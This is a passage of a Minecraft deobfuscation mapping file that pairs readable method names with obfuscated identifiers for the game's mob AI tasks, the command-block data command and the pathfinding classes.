net/minecraft/entity/ai/EntityAILookAtTradePlayer/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIVillagerMate/shouldExecute ()Z net/minecraft/entity/ai/EntityAIVillagerMate/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIVillagerMate/continueExecuting ()Z net/minecraft/entity/ai/EntityAIVillagerMate/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIVillagerMate/startExecuting ()V net/minecraft/entity/ai/EntityAIVillagerMate/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIVillagerMate/resetTask ()V net/minecraft/entity/ai/EntityAIVillagerMate/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIVillagerMate/updateTask ()V net/minecraft/entity/ai/EntityAIVillagerMate/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIVillagerMate/checkSufficientDoorsPresentForNewVillager ()Z net/minecraft/entity/ai/EntityAIVillagerMate/func_75446_f ()Z +MD: net/minecraft/entity/ai/EntityAIVillagerMate/giveBirth ()V net/minecraft/entity/ai/EntityAIVillagerMate/func_75447_i ()V +MD: net/minecraft/entity/ai/EntityAIAttackOnCollide/shouldExecute ()Z net/minecraft/entity/ai/EntityAIAttackOnCollide/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIAttackOnCollide/func_179512_a (Lnet/minecraft/entity/EntityLivingBase;)D net/minecraft/entity/ai/EntityAIAttackOnCollide/func_179512_a (Lnet/minecraft/entity/EntityLivingBase;)D +MD: net/minecraft/entity/ai/EntityAIAttackOnCollide/continueExecuting ()Z net/minecraft/entity/ai/EntityAIAttackOnCollide/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIAttackOnCollide/startExecuting ()V net/minecraft/entity/ai/EntityAIAttackOnCollide/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIAttackOnCollide/resetTask ()V net/minecraft/entity/ai/EntityAIAttackOnCollide/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIAttackOnCollide/updateTask ()V net/minecraft/entity/ai/EntityAIAttackOnCollide/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIMoveIndoors/shouldExecute ()Z net/minecraft/entity/ai/EntityAIMoveIndoors/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIMoveIndoors/continueExecuting ()Z net/minecraft/entity/ai/EntityAIMoveIndoors/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIMoveIndoors/startExecuting ()V net/minecraft/entity/ai/EntityAIMoveIndoors/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIMoveIndoors/resetTask ()V net/minecraft/entity/ai/EntityAIMoveIndoors/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIMoveThroughVillage/shouldExecute ()Z net/minecraft/entity/ai/EntityAIMoveThroughVillage/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIMoveThroughVillage/doesDoorListContain (Lnet/minecraft/village/VillageDoorInfo;)Z net/minecraft/entity/ai/EntityAIMoveThroughVillage/func_75413_a (Lnet/minecraft/village/VillageDoorInfo;)Z +MD: net/minecraft/entity/ai/EntityAIMoveThroughVillage/findNearestDoor (Lnet/minecraft/village/Village;)Lnet/minecraft/village/VillageDoorInfo; net/minecraft/entity/ai/EntityAIMoveThroughVillage/func_75412_a (Lnet/minecraft/village/Village;)Lnet/minecraft/village/VillageDoorInfo; +MD: net/minecraft/entity/ai/EntityAIMoveThroughVillage/continueExecuting ()Z net/minecraft/entity/ai/EntityAIMoveThroughVillage/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIMoveThroughVillage/startExecuting ()V net/minecraft/entity/ai/EntityAIMoveThroughVillage/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIMoveThroughVillage/resetTask ()V net/minecraft/entity/ai/EntityAIMoveThroughVillage/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIMoveThroughVillage/resizeDoorList ()V net/minecraft/entity/ai/EntityAIMoveThroughVillage/func_75414_f ()V +MD: net/minecraft/entity/ai/EntityAIMoveToBlock/shouldExecute ()Z net/minecraft/entity/ai/EntityAIMoveToBlock/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIMoveToBlock/shouldMoveTo (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/entity/ai/EntityAIMoveToBlock/func_179488_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/entity/ai/EntityAIMoveToBlock/continueExecuting ()Z net/minecraft/entity/ai/EntityAIMoveToBlock/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIMoveToBlock/startExecuting ()V net/minecraft/entity/ai/EntityAIMoveToBlock/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIMoveToBlock/resetTask ()V net/minecraft/entity/ai/EntityAIMoveToBlock/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIMoveToBlock/updateTask ()V net/minecraft/entity/ai/EntityAIMoveToBlock/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIMoveToBlock/getIsAboveDestination ()Z net/minecraft/entity/ai/EntityAIMoveToBlock/func_179487_f ()Z +MD: net/minecraft/entity/ai/EntityAIMoveToBlock/searchForDestination ()Z net/minecraft/entity/ai/EntityAIMoveToBlock/func_179489_g ()Z +MD: net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/shouldExecute ()Z net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/continueExecuting ()Z net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/startExecuting ()V net/minecraft/entity/ai/EntityAIMoveTowardsRestriction/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIMoveTowardsTarget/shouldExecute ()Z net/minecraft/entity/ai/EntityAIMoveTowardsTarget/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIMoveTowardsTarget/continueExecuting ()Z net/minecraft/entity/ai/EntityAIMoveTowardsTarget/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIMoveTowardsTarget/startExecuting ()V net/minecraft/entity/ai/EntityAIMoveTowardsTarget/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIMoveTowardsTarget/resetTask ()V net/minecraft/entity/ai/EntityAIMoveTowardsTarget/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIOcelotAttack/shouldExecute ()Z net/minecraft/entity/ai/EntityAIOcelotAttack/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIOcelotAttack/continueExecuting ()Z net/minecraft/entity/ai/EntityAIOcelotAttack/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIOcelotAttack/resetTask ()V net/minecraft/entity/ai/EntityAIOcelotAttack/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIOcelotAttack/updateTask ()V net/minecraft/entity/ai/EntityAIOcelotAttack/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIOcelotSit/shouldExecute ()Z net/minecraft/entity/ai/EntityAIOcelotSit/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIOcelotSit/shouldMoveTo (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/entity/ai/EntityAIOcelotSit/func_179488_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/entity/ai/EntityAIOcelotSit/continueExecuting ()Z net/minecraft/entity/ai/EntityAIOcelotSit/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIOcelotSit/startExecuting ()V net/minecraft/entity/ai/EntityAIOcelotSit/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIOcelotSit/resetTask ()V net/minecraft/entity/ai/EntityAIOcelotSit/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIOcelotSit/updateTask ()V net/minecraft/entity/ai/EntityAIOcelotSit/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAILookAtVillager/shouldExecute ()Z net/minecraft/entity/ai/EntityAILookAtVillager/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAILookAtVillager/continueExecuting ()Z net/minecraft/entity/ai/EntityAILookAtVillager/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAILookAtVillager/startExecuting ()V net/minecraft/entity/ai/EntityAILookAtVillager/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAILookAtVillager/resetTask ()V net/minecraft/entity/ai/EntityAILookAtVillager/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAILookAtVillager/updateTask ()V net/minecraft/entity/ai/EntityAILookAtVillager/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIOpenDoor/continueExecuting ()Z net/minecraft/entity/ai/EntityAIOpenDoor/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIOpenDoor/startExecuting ()V net/minecraft/entity/ai/EntityAIOpenDoor/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIOpenDoor/resetTask ()V net/minecraft/entity/ai/EntityAIOpenDoor/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIOpenDoor/updateTask ()V net/minecraft/entity/ai/EntityAIOpenDoor/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIPanic/shouldExecute ()Z net/minecraft/entity/ai/EntityAIPanic/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIPanic/continueExecuting ()Z net/minecraft/entity/ai/EntityAIPanic/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIPanic/startExecuting ()V net/minecraft/entity/ai/EntityAIPanic/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIPlay/shouldExecute ()Z net/minecraft/entity/ai/EntityAIPlay/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIPlay/continueExecuting ()Z net/minecraft/entity/ai/EntityAIPlay/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIPlay/startExecuting ()V net/minecraft/entity/ai/EntityAIPlay/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIPlay/resetTask ()V net/minecraft/entity/ai/EntityAIPlay/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIPlay/updateTask ()V net/minecraft/entity/ai/EntityAIPlay/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAILookIdle/shouldExecute ()Z net/minecraft/entity/ai/EntityAILookIdle/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAILookIdle/continueExecuting ()Z net/minecraft/entity/ai/EntityAILookIdle/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAILookIdle/startExecuting ()V net/minecraft/entity/ai/EntityAILookIdle/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAILookIdle/updateTask ()V net/minecraft/entity/ai/EntityAILookIdle/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIWander/shouldExecute ()Z net/minecraft/entity/ai/EntityAIWander/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIWander/continueExecuting ()Z net/minecraft/entity/ai/EntityAIWander/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIWander/setExecutionChance (I)V net/minecraft/entity/ai/EntityAIWander/func_179479_b (I)V +MD: net/minecraft/entity/ai/EntityAIWander/startExecuting ()V net/minecraft/entity/ai/EntityAIWander/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIWander/makeUpdate ()V net/minecraft/entity/ai/EntityAIWander/func_179480_f ()V +MD: net/minecraft/command/CommandBlockData/getRequiredPermissionLevel ()I net/minecraft/command/CommandBlockData/func_82362_a ()I +MD: net/minecraft/command/CommandBlockData/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandBlockData/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandBlockData/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandBlockData/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandBlockData/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandBlockData/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandBlockData/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandBlockData/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/entity/ai/EntityAIArrowAttack/shouldExecute ()Z net/minecraft/entity/ai/EntityAIArrowAttack/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIArrowAttack/continueExecuting ()Z net/minecraft/entity/ai/EntityAIArrowAttack/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIArrowAttack/resetTask ()V net/minecraft/entity/ai/EntityAIArrowAttack/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIArrowAttack/updateTask ()V net/minecraft/entity/ai/EntityAIArrowAttack/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIRestrictOpenDoor/shouldExecute ()Z net/minecraft/entity/ai/EntityAIRestrictOpenDoor/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIRestrictOpenDoor/continueExecuting ()Z net/minecraft/entity/ai/EntityAIRestrictOpenDoor/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIRestrictOpenDoor/startExecuting ()V net/minecraft/entity/ai/EntityAIRestrictOpenDoor/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIRestrictOpenDoor/resetTask ()V net/minecraft/entity/ai/EntityAIRestrictOpenDoor/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIRestrictOpenDoor/updateTask ()V net/minecraft/entity/ai/EntityAIRestrictOpenDoor/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIRestrictSun/shouldExecute ()Z net/minecraft/entity/ai/EntityAIRestrictSun/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIRestrictSun/startExecuting ()V net/minecraft/entity/ai/EntityAIRestrictSun/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIRestrictSun/resetTask ()V net/minecraft/entity/ai/EntityAIRestrictSun/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/shouldExecute ()Z net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/continueExecuting ()Z net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/startExecuting ()V net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/updateTask ()V net/minecraft/entity/ai/EntityAIRunAroundLikeCrazy/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAISit/shouldExecute ()Z net/minecraft/entity/ai/EntityAISit/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAISit/setSitting (Z)V net/minecraft/entity/ai/EntityAISit/func_75270_a (Z)V +MD: net/minecraft/entity/ai/EntityAISit/startExecuting ()V net/minecraft/entity/ai/EntityAISit/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAISit/resetTask ()V net/minecraft/entity/ai/EntityAISit/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAICreeperSwell/shouldExecute ()Z net/minecraft/entity/ai/EntityAICreeperSwell/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAICreeperSwell/startExecuting ()V net/minecraft/entity/ai/EntityAICreeperSwell/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAICreeperSwell/resetTask ()V net/minecraft/entity/ai/EntityAICreeperSwell/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAICreeperSwell/updateTask ()V net/minecraft/entity/ai/EntityAICreeperSwell/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIFollowGolem/shouldExecute ()Z net/minecraft/entity/ai/EntityAIFollowGolem/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIFollowGolem/continueExecuting ()Z net/minecraft/entity/ai/EntityAIFollowGolem/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIFollowGolem/startExecuting ()V net/minecraft/entity/ai/EntityAIFollowGolem/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIFollowGolem/resetTask ()V net/minecraft/entity/ai/EntityAIFollowGolem/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIFollowGolem/updateTask ()V net/minecraft/entity/ai/EntityAIFollowGolem/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAITempt/shouldExecute ()Z net/minecraft/entity/ai/EntityAITempt/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAITempt/continueExecuting ()Z net/minecraft/entity/ai/EntityAITempt/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAITempt/startExecuting ()V net/minecraft/entity/ai/EntityAITempt/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAITempt/resetTask ()V net/minecraft/entity/ai/EntityAITempt/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAITempt/updateTask ()V net/minecraft/entity/ai/EntityAITempt/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAITempt/isRunning ()Z net/minecraft/entity/ai/EntityAITempt/func_75277_f ()Z +MD: net/minecraft/entity/ai/EntityAITradePlayer/shouldExecute ()Z net/minecraft/entity/ai/EntityAITradePlayer/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAITradePlayer/startExecuting ()V net/minecraft/entity/ai/EntityAITradePlayer/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAITradePlayer/resetTask ()V net/minecraft/entity/ai/EntityAITradePlayer/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIVillagerInteract/startExecuting ()V net/minecraft/entity/ai/EntityAIVillagerInteract/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIVillagerInteract/updateTask ()V net/minecraft/entity/ai/EntityAIVillagerInteract/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIDefendVillage/shouldExecute ()Z net/minecraft/entity/ai/EntityAIDefendVillage/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIDefendVillage/startExecuting ()V net/minecraft/entity/ai/EntityAIDefendVillage/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIHurtByTarget/shouldExecute ()Z net/minecraft/entity/ai/EntityAIHurtByTarget/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIHurtByTarget/setEntityAttackTarget (Lnet/minecraft/entity/EntityCreature;Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/entity/ai/EntityAIHurtByTarget/func_179446_a (Lnet/minecraft/entity/EntityCreature;Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/entity/ai/EntityAIHurtByTarget/startExecuting ()V net/minecraft/entity/ai/EntityAIHurtByTarget/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIFindEntityNearest$1/apply (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/entity/ai/EntityAIFindEntityNearest$1/apply (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/entity/ai/EntityAIFindEntityNearest$1/apply (Ljava/lang/Object;)Z net/minecraft/entity/ai/EntityAIFindEntityNearest$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/ai/EntityAIFindEntityNearest/shouldExecute ()Z net/minecraft/entity/ai/EntityAIFindEntityNearest/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIFindEntityNearest/access$000 (Lnet/minecraft/entity/ai/EntityAIFindEntityNearest;)Lnet/minecraft/entity/EntityLiving; net/minecraft/entity/ai/EntityAIFindEntityNearest/access$000 (Lnet/minecraft/entity/ai/EntityAIFindEntityNearest;)Lnet/minecraft/entity/EntityLiving; +MD: net/minecraft/entity/ai/EntityAIFindEntityNearest/continueExecuting ()Z net/minecraft/entity/ai/EntityAIFindEntityNearest/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIFindEntityNearest/startExecuting ()V net/minecraft/entity/ai/EntityAIFindEntityNearest/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIFindEntityNearest/resetTask ()V net/minecraft/entity/ai/EntityAIFindEntityNearest/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIFindEntityNearest/getFollowRange ()D net/minecraft/entity/ai/EntityAIFindEntityNearest/func_179438_f ()D +MD: net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer$1/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer$1/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer$1/apply (Ljava/lang/Object;)Z net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/shouldExecute ()Z net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/access$000 (Lnet/minecraft/entity/ai/EntityAIFindEntityNearestPlayer;)Lnet/minecraft/entity/EntityLiving; net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/access$000 (Lnet/minecraft/entity/ai/EntityAIFindEntityNearestPlayer;)Lnet/minecraft/entity/EntityLiving; +MD: net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/continueExecuting ()Z net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/startExecuting ()V net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/resetTask ()V net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/maxTargetRange ()D net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/func_179431_f ()D +MD: net/minecraft/entity/ai/EntityAINearestAttackableTarget$1/apply (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/entity/ai/EntityAINearestAttackableTarget$1/apply (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/entity/ai/EntityAINearestAttackableTarget$1/apply (Ljava/lang/Object;)Z net/minecraft/entity/ai/EntityAINearestAttackableTarget$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/ai/EntityAINearestAttackableTarget$Sorter/compare (Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;)I net/minecraft/entity/ai/EntityAINearestAttackableTarget$Sorter/compare (Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;)I +MD: net/minecraft/entity/ai/EntityAINearestAttackableTarget$Sorter/compare (Ljava/lang/Object;Ljava/lang/Object;)I net/minecraft/entity/ai/EntityAINearestAttackableTarget$Sorter/compare (Ljava/lang/Object;Ljava/lang/Object;)I +MD: net/minecraft/entity/ai/EntityAINearestAttackableTarget/shouldExecute ()Z net/minecraft/entity/ai/EntityAINearestAttackableTarget/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAINearestAttackableTarget/startExecuting ()V net/minecraft/entity/ai/EntityAINearestAttackableTarget/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAITargetNonTamed/shouldExecute ()Z net/minecraft/entity/ai/EntityAITargetNonTamed/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIOwnerHurtByTarget/shouldExecute ()Z net/minecraft/entity/ai/EntityAIOwnerHurtByTarget/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIOwnerHurtByTarget/startExecuting ()V net/minecraft/entity/ai/EntityAIOwnerHurtByTarget/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIOwnerHurtTarget/shouldExecute ()Z net/minecraft/entity/ai/EntityAIOwnerHurtTarget/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIOwnerHurtTarget/startExecuting ()V net/minecraft/entity/ai/EntityAIOwnerHurtTarget/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAITarget/canEasilyReach (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/entity/ai/EntityAITarget/func_75295_a (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/entity/ai/EntityAITarget/isSuitableTarget (Lnet/minecraft/entity/EntityLivingBase;Z)Z net/minecraft/entity/ai/EntityAITarget/func_75296_a (Lnet/minecraft/entity/EntityLivingBase;Z)Z +MD: net/minecraft/entity/ai/EntityAITarget/isSuitableTarget (Lnet/minecraft/entity/EntityLiving;Lnet/minecraft/entity/EntityLivingBase;ZZ)Z net/minecraft/entity/ai/EntityAITarget/func_179445_a (Lnet/minecraft/entity/EntityLiving;Lnet/minecraft/entity/EntityLivingBase;ZZ)Z +MD: net/minecraft/entity/ai/EntityAITarget/continueExecuting ()Z net/minecraft/entity/ai/EntityAITarget/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAITarget/startExecuting ()V net/minecraft/entity/ai/EntityAITarget/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAITarget/resetTask ()V net/minecraft/entity/ai/EntityAITarget/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAITarget/getTargetDistance ()D net/minecraft/entity/ai/EntityAITarget/func_111175_f ()D +MD: net/minecraft/pathfinding/PathNavigateGround/getPathFinder ()Lnet/minecraft/pathfinding/PathFinder; net/minecraft/pathfinding/PathNavigateGround/func_179679_a ()Lnet/minecraft/pathfinding/PathFinder; +MD: net/minecraft/pathfinding/PathNavigateGround/isSafeToStandAt (IIIIIILnet/minecraft/util/Vec3;DD)Z net/minecraft/pathfinding/PathNavigateGround/func_179683_a (IIIIIILnet/minecraft/util/Vec3;DD)Z +MD: net/minecraft/pathfinding/PathNavigateGround/isDirectPathBetweenPoints (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;III)Z net/minecraft/pathfinding/PathNavigateGround/func_75493_a (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;III)Z +MD: net/minecraft/pathfinding/PathNavigateGround/setAvoidsWater (Z)V net/minecraft/pathfinding/PathNavigateGround/func_179690_a (Z)V +MD: net/minecraft/pathfinding/PathNavigateGround/canNavigate ()Z net/minecraft/pathfinding/PathNavigateGround/func_75485_k ()Z +MD: net/minecraft/pathfinding/PathNavigateGround/isPositionClear (IIIIIILnet/minecraft/util/Vec3;DD)Z net/minecraft/pathfinding/PathNavigateGround/func_179692_b (IIIIIILnet/minecraft/util/Vec3;DD)Z +MD: net/minecraft/pathfinding/PathNavigateGround/setBreakDoors (Z)V net/minecraft/pathfinding/PathNavigateGround/func_179688_b (Z)V +MD: net/minecraft/pathfinding/PathNavigateGround/getEntityPosition ()Lnet/minecraft/util/Vec3; net/minecraft/pathfinding/PathNavigateGround/func_75502_i ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/pathfinding/PathNavigateGround/setEnterDoors (Z)V net/minecraft/pathfinding/PathNavigateGround/func_179691_c (Z)V +MD: net/minecraft/pathfinding/PathNavigateGround/removeSunnyPath ()V net/minecraft/pathfinding/PathNavigateGround/func_75487_m ()V +MD: net/minecraft/pathfinding/PathNavigateGround/setCanSwim (Z)V net/minecraft/pathfinding/PathNavigateGround/func_179693_d (Z)V +MD: net/minecraft/pathfinding/PathNavigateGround/getAvoidsWater ()Z net/minecraft/pathfinding/PathNavigateGround/func_179689_e ()Z +MD: net/minecraft/pathfinding/PathNavigateGround/setAvoidSun (Z)V net/minecraft/pathfinding/PathNavigateGround/func_179685_e (Z)V +MD: net/minecraft/pathfinding/PathNavigateGround/getEnterDoors ()Z net/minecraft/pathfinding/PathNavigateGround/func_179686_g ()Z +MD: net/minecraft/pathfinding/PathNavigateGround/getCanSwim ()Z net/minecraft/pathfinding/PathNavigateGround/func_179684_h ()Z +MD: net/minecraft/pathfinding/PathNavigateGround/getPathablePosY ()I net/minecraft/pathfinding/PathNavigateGround/func_179687_p ()I +MD: net/minecraft/pathfinding/PathNavigate/getPathFinder ()Lnet/minecraft/pathfinding/PathFinder; net/minecraft/pathfinding/PathNavigate/func_179679_a ()Lnet/minecraft/pathfinding/PathFinder; +MD: net/minecraft/pathfinding/PathNavigate/setSpeed (D)V net/minecraft/pathfinding/PathNavigate/func_75489_a (D)V +MD: net/minecraft/pathfinding/PathNavigate/getPathToXYZ (DDD)Lnet/minecraft/pathfinding/PathEntity; net/minecraft/pathfinding/PathNavigate/func_75488_a (DDD)Lnet/minecraft/pathfinding/PathEntity; +MD: net/minecraft/pathfinding/PathNavigate/tryMoveToXYZ (DDDD)Z net/minecraft/pathfinding/PathNavigate/func_75492_a (DDDD)Z +MD: net/minecraft/pathfinding/PathNavigate/setHeightRequirement (F)V net/minecraft/pathfinding/PathNavigate/func_179678_a (F)V +MD: net/minecraft/pathfinding/PathNavigate/setPath (Lnet/minecraft/pathfinding/PathEntity;D)Z net/minecraft/pathfinding/PathNavigate/func_75484_a (Lnet/minecraft/pathfinding/PathEntity;D)Z +MD: net/minecraft/pathfinding/PathNavigate/checkForStuck (Lnet/minecraft/util/Vec3;)V net/minecraft/pathfinding/PathNavigate/func_179677_a (Lnet/minecraft/util/Vec3;)V +MD: net/minecraft/pathfinding/PathNavigate/isDirectPathBetweenPoints 